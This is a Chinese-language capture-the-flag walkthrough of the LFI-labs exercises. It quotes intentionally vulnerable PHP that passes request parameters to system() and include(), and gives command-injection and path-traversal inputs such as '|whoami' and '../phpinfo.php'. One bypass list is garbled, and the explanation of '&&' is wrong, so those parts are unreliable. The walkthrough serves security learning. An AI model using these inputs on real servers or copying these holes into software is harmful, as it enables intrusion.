LFI-labs-master通关手册
源代码审计
<?php include("../common/header.php"); ?>
<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
<?php
hint("will exec the arg specified in the GET parameter \"cmd\"");
?>
<form action="/CMD-1/index.php" method="GET">
<input type="text" name="cmd">
</form>
<?php
system($_GET["cmd"]);
?>
即直接执行get请求从参数cmd得到的信息。
解决方法
在进入该站点时传入参数cmd为我们想要的执行的命令。即?cmd=whoami
得到如下结果
CMD-2
源代码审计
<?php include("../common/header.php"); ?>
<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
<?php hint("will exec the arg specified in the POST parameter \"cmd\""); ?>
<form action="/CMD-2/index.php" method="POST">
<input type="text" name="cmd">
</form>
<?php
system($_POST["cmd"]);
?>
与cmd-1略微有不同也就是接受post请求来的变量。
解决方法
借用hackbar来传递参数,勾选Post data
用POST传参cmd=whoami
执行命令
点击Execute执行
CMD-3
源代码审计
<?php include("../common/header.php"); ?>
<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
<?php
hint("will exec 'whois' with the arg specified in the GET parameter \"domain\"");
?>
<form action="/CMD-3/index.php" method="GET">
Whois: <input type="text" name="domain">
</form>
<pre>
<?php
system("/usr/bin/whois " . $_GET["domain"]);
?>
</pre>
注意,由于我们是在Windows的环境下做的实验,所以这里的源代码要更/usr/bin/whois
显然时Linux中的命令执行路径。这里我们直接将其更换为nslookup
、ping
和其他后面可以带参数的 windows环境下可执行的系统命令都可以,由system()函数调起即可执行,注意后面有空格,因为后面跟的时命令的选项。
tip:
-
whois命令是Linux/Unix环境下的命令,按字面意思就是问“他是谁?”,通过对域名的检索, 可以反馈回域名的注册信息,包括持有人,管理资料以及技术联络资料, 也包括该域名的域名服务器。
-
nslookup命令用于查询DNS的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题。域名解析用。
回到上面的源代码,其含义就是执行一个系统里并带上用GET方法得到的参数。
解决原理
-
cmd1|cmd2:无论cmd1是否为真,cmd2都会被执行
-
cmd1||cmd2:如果cmd1为假,则执行cmd2;
-
cmd1&&cmd2:如果cmd1为真才执行cmd1。
解决方法流程
直接url传入参数domain=www.baidu.com|whoami
得到我们想要执行的命令
CMD-4
源代码审计
<?php include("../common/header.php"); ?>
<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
<?php hint("will exec 'whois' with the arg specified in the POST parameter \"domain\""); ?>
<form action="/CMD-4/index.php" method="POST">
<input type="text" name="domain">
</form>
<pre>
<?php
system("whois " . $_POST["domain"]);
?>
</pre>
这里也要改一下源代码,因为windows没有whois这条命令。改为ping吧这次。
解决方法流程
与cmd3差不多,只是用post传参
CMD-5
源代码审计
<?php include("../common/header.php"); ?>
<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
<?php hint("not everything you need to inject is in a text input field ..."); ?>
<form action="/CMD-5/index.php" method="GET">
<input type="text" name="domain">
<input type="hidden" name="server" value="whois.publicinterestregistry.net">
</form>
<pre>
<?php
if (preg_match('/^[-a-z0-9]+\.a[cdefgilmnoqrstuwxz]|b[abdefghijmnorstvwyz]|c[acdfghiklmnoruvxyz]|d[ejkmoz]|e[cegrstu]|f[ijkmor]|g[abdefghilmnpqrstuwy]|h[kmnrtu]|i[delmnoqrst]|j[emop]|k[eghimnprwyz]|l[abcikrstuvy]|m[acdeghklmnopqrstuvwxyz]|n[acefgilopruz]|om|p[aefghklmnrstwy]|qa|r[eosuw]|s[abcdeghijklmnortuvyz]|t[cdfghjklmnoprtvwz]|u[agksyz]|v[aceginu]|w[fs]|y[et]|z[amw]|biz|cat|com|edu|gov|int|mil|net|org|pro|tel|aero|arpa|asia|coop|info|jobs|mobi|name|museum|travel|arpa|xn--[a-z0-9]+$/', strtolower($_GET["domain"])))
{ system("whois -h " . $_GET["server"] . " " . $_GET["domain"]); }
else
{echo "malformed domain name";}
?>
</pre>
preg_match 函数用于执行一个正则表达式匹配。搜索 subject 与 pattern 给定的正则表达式的一个匹配。返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
preg_match函数对用get方法请求的domain中的字符串进行判断是否在匹配名单中,匹配成功才会执行命令whois,否则会提示域名不完整。该匹配名单的要求域名是完全合法合规的才可以执行命令
system("whois -h " . GET["server"] . " " . $GET["domain"]);发现不仅接受domian参数还接受server,而server是没有过滤规则的,利用这一点可以绕过该过滤机制。
解决方法流程
记得源码里的whois命令要修改,像上面一样。
所以server里带上我们想要执行的命令
?server=127.0.0.1|whoami||&domain=baidu.com
?domain=baidu.com&server=127.0.0.1|whoami||
这样构造出的命令语句是:whois -h 127.0.0.1|whoami|| baidu.com,后面的baidu.com也就忽略了
CMD-6
源代码审计
这里就不贴源码了,就是把GET请求换为了POST请求
解决方法流程
记得不要忘记改源代码中的函数名不然你会找半天错却不知道错在哪。
用POST传参。
在进行下面的实验之前,如果文件目录下没有phpinfo这类php文件的话,最好将phpinfo()写入到一个php文件中,方便我们验证结果
LFI-1
源代码审计
<?php include("../common/header.php"); ?>
<!-- from https://pentesterlab.com/exercises/php_include_and_post_exploitation/course -->
<?php hint("will include the arg specified in the GET parameter \"page\""); ?>
<form action="/LFI-1/index.php" method="GET">
<input type="text" name="page">
</form>
<?php
include($_GET["page"]);
?>
出现了include()文件包含函数,并且使用GET方法接受参数。
解决方法流程
直接在url中传参。我们访问在上一级结构目录中的phpinfo.php文件验证结果。
?page=../phpinfo.php //../表示上一级目录
当然想试一下其他文件也可以。当然得是文件系统里有的
LFI-2
源代码审计
<?php include("../common/header.php"); ?>
<!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ -->
<?php hint("will include the arg specified in the GET parameter \"library\", appends .php to end, escape with NULL byte %00"); ?>
<form action="/LFI-2/index.php" method="GET">
<input type="text" name="library">
</form>
<?php
include("includes/".$_GET['library'].".php");
?>
由于不知道includes/../../啥意识就在靶机上试验了一下
-
includes/../
还是在本级目录 -
includes/../../
上一级目录 -
includes/../../../
上上级目录
所以这里我们就是要跳出includes。而且只能执行后缀PHP文件
解决方法流程
传参
?library=../../phpinfo
LFI-3
源代码审计
<?php include("../common/header.php"); ?>
<!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ -->
<?php hint("will include the arg specified in the GET parameter \"file\", looks for .php at end - bypass by apending /. (slash plus dot)"); ?>
<form action="/LFI-3/index.php" method="GET">
<input type="text" name="file">
</form>
<?php
if (substr($_GET['file'], -4, 4) != '.php')
echo file_get_contents($_GET['file']);
else
echo 'You are not allowed to see source files!'."\n";
?>
两个函数
-
substr():字符串裁剪,返回字符串的一部分,其用法substr(string,start,length),如果start为负数就是从末尾开始返回长度为length的字符串。
-
file_get_contents():把整个文件读入一个字符串中。
所以这段源代码是对get请求到的file查看其文件后缀,如果文件后缀与php相同就会禁止查看源码,如果后缀不是php才能查看其源码,也就是文件上传漏洞里的黑名单嘛。
解决方法流程
黑名单绕过,包括但不局限于
-
大小写绕过:php->PHp
-
空格绕过:php->php<空格>,这个得抓包后在hex中修改
-
加点饶工:php->php.
-
特殊字符绕过:php->php::$DATA
-
使用'.ph<'进使用'.ph<'进行
.php
拓展过滤渗出行.php
拓展过滤渗出
LFI-4
源代码审计
<?php include("../common/header.php"); ?>
<!-- from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ -->
<?php hint("will include the arg specified in the GET parameter \"class\", appends .php to end, defeat with NULL byte %00"); ?>
<form action="/LFI-4/index.php" method="GET">
<input type="text" name="class">
</form>
<?php
include('includes/class_'.addslashes($_GET['class']).'.php');
?>
addslashes()函数返回在预定义字符之前添加反斜杠的字符串。以下是预定义字符单引号(‘)双引号(“)反斜杠(\)和NULL
由于又不知道includes/class_/
是啥我又做了一下实验
解决方法流程
也就是说,这个过滤函数对我们要写入的url根本没影响。
写入class的值
?class=/../../../phpinfo
LFI-5
源代码审计
<!-- from http://hakipedia.com/index.php/Local_File_Inclusion -->
<?php include("../common/header.php"); ?>
<?php hint("will include the arg specified in the GET parameter \"file\", strips prepended \"../\" strings, must encode / with %2f"); ?>
<form action="/LFI-5/index.php" method="GET">
<input type="text" name="file">
</form>
<?php
$file = str_replace('../', '', $_GET['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
两个函数
-
str_replace():将接收到的字符串中的../替换为NULL
-
isset():函数用于检测变量是否已设置并且非 NULL。如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。
解决方法流程
话说这个pages/又是啥,我又在靶机上做了个实验
双写绕过即可
?file=..../..../phpinfo.php
LFI-6到LFI-10
全都用post传参就可以
LFI-11
源代码审计(关键部分)
<?php include($_POST['stylepath']); ?>
解决方法流程
还是post传参
LFI-12
跟上面一样,只是用GET传参
LFI-13和LFI-14跟LFI-5和LFI-10一样
HDR-1
源代码审计(关键部分)
<?php
$template = 'blue.php';
if ( array_key_exists( $_COOKIE['TEMPLATE'] ) )
$template = $_COOKIE['TEMPLATE'];
include ( dirname(FILE) . "/" . $template );
?>
两个函数和一个接收变量
-
array_key_exists():检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。array_key_exists(key,array)且key和array都是必须的
-
dirname():返回路径中的目录部分
-
$_COOKIE[]接受请求中cookie传过来的数据。
也就是说本题目源代码有点问题......缺少函数关键变量。